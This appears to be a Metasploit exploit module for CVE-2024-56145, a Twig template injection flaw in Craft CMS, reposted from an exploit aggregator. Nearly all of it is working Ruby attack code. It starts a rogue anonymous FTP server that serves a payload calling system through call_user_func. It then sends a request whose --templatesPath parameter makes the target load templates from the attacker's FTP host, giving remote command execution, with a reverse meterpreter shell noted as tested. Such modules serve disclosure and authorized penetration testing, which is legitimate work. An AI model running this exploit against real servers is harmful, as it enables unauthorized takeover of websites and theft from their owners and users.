Share
## https://sploitus.com/exploit?id=PACKETSTORM:188825
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::FtpServer
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path',
            'Description' => %q{
              This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.
              The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).
            },
            'Author' => [
              'jheysel-r7',         # Metasploit module
              'Valentin Lobstein',  # Refactor, Fix, and PoC
              'AssetNote'           # Vulnerability discovery
            ],
            'References' => [
              ['CVE', '2024-56145'],
              ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'],
              ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms']
            ],
            'Payload' => {
              'BadChars' => "\x22\x27" # " and '
            },
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Platform' => %w[unix linux],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command Shell', {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2024-12-19',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
      end
    
      def vulnerable_file_list
        %w[/default/index.twig /default/index.html]
      end
    
      def get_payload
        "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
      end
    
      def send_ftp_response(cli, code, message)
        cli.put "#{code} #{message}\r\n"
        vprint_status("-> #{code} #{message}")
      end
    
      def on_client_connect(cli)
        @state[cli] = {
          name: "#{cli.peerhost}:#{cli.peerport}",
          ip: cli.peerhost,
          port: cli.peerport,
          user: nil,
          pass: nil,
          cwd: '/'
        }
        send_ftp_response(cli, 220, 'FTP Server Ready')
      end
    
      def on_client_command_user(cli, arg)
        vprint_status('on_client_command_user')
        if arg.downcase == 'anonymous'
          @state[cli][:user] = 'anonymous'
          send_ftp_response(cli, 331, 'Username ok, send password.')
        else
          send_ftp_response(cli, 530, 'Not logged in.')
        end
      end
    
      def on_client_command_pass(cli, arg)
        vprint_status('on_client_command_pass')
        if @state[cli][:user] == 'anonymous'
          @state[cli][:pass] = arg
          send_ftp_response(cli, 230, 'Login successful.')
        else
          send_ftp_response(cli, 530, 'Not logged in.')
        end
      end
    
      def on_client_command_cwd(cli, arg)
        vprint_status('on_client_command_cwd')
        if arg == '/default'
          @state[cli][:cwd] = '/default'
          send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.")
        else
          send_ftp_response(cli, 550, 'Not a directory')
        end
      end
    
      def on_client_command_type(cli, arg)
        vprint_status('on_client_command_type')
        if arg == 'I'
          send_ftp_response(cli, 200, 'Type set to: Binary.')
        else
          send_ftp_response(cli, 500, 'Unknown type.')
        end
      end
    
      def on_client_command_size(cli, arg)
        vprint_status('on_client_command_size')
        if vulnerable_file_list.include?(arg)
          send_ftp_response(cli, 213, get_payload.length.to_s)
        else
          send_ftp_response(cli, 550, "#{arg} is not retrievable.")
        end
      end
    
      def on_client_command_mdtm(cli, arg)
        vprint_status('on_client_command_mdtm')
        if vulnerable_file_list.include?(arg)
          send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S'))
        else
          send_ftp_response(cli, 550, "#{arg} is not retrievable.")
        end
      end
    
      def on_client_command_epsv(cli, _arg)
        vprint_status('on_client_command_epsv')
        send_ftp_response(cli, 502, 'EPSV command not implemented.')
      end
    
      def on_client_command_retr(cli, arg)
        vprint_status('on_client_command_retr')
        if vulnerable_file_list.include?(arg)
          conn = establish_data_connection(cli)
          unless conn
            send_ftp_response(cli, 425, "Can't open data connection.")
            return
          end
          send_ftp_response(cli, 150, "Opening data connection for #{arg}")
          conn.put(get_payload)
          conn.close
          send_ftp_response(cli, 226, 'Transfer complete.')
        else
          send_ftp_response(cli, 550, 'File not available.')
        end
      rescue IOError => e
        vprint_error("Data transfer failed: #{e.message}")
        send_ftp_response(cli, 425, 'Data transfer failed.')
      end
    
      def on_client_command_quit(cli, _arg)
        vprint_status('on_client_command_quit')
        send_ftp_response(cli, 221, 'Goodbye.')
      end
    
      def on_client_command_unknown(cli, cmd, arg)
        vprint_status('on_client_command_unknown')
        send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
      end
    
      def check
        vprint_status('Performing vulnerability check...')
        nonce = Rex::Text.rand_text_alphanumeric(8)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'GET',
          'vars_get' => { '--configPath' => "/#{nonce}" }
        )
    
        if res&.body&.include?('mkdir()') && res.body.include?(nonce)
          CheckCode::Vulnerable
        else
          CheckCode::Safe
        end
      end
    
      def trigger_http_request
        vprint_status('Triggering HTTP request...')
        templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
        send_request_raw(
          'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
          'method' => 'GET'
        )
      rescue StandardError => e
        vprint_error("HTTP request failed: #{e.message}")
      end
    
      def start_ftp_service
        if datastore['SSL'] == true
          reset_ssl = true
          datastore['SSL'] = false
        end
        start_service
        if reset_ssl
          datastore['SSL'] = true
        end
      end
    
      def exploit
        vprint_status('Starting FTP service...')
        start_ftp_service
        vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
        vprint_status('Sending HTTP request to trigger the payload...')
        trigger_http_request
      end
    end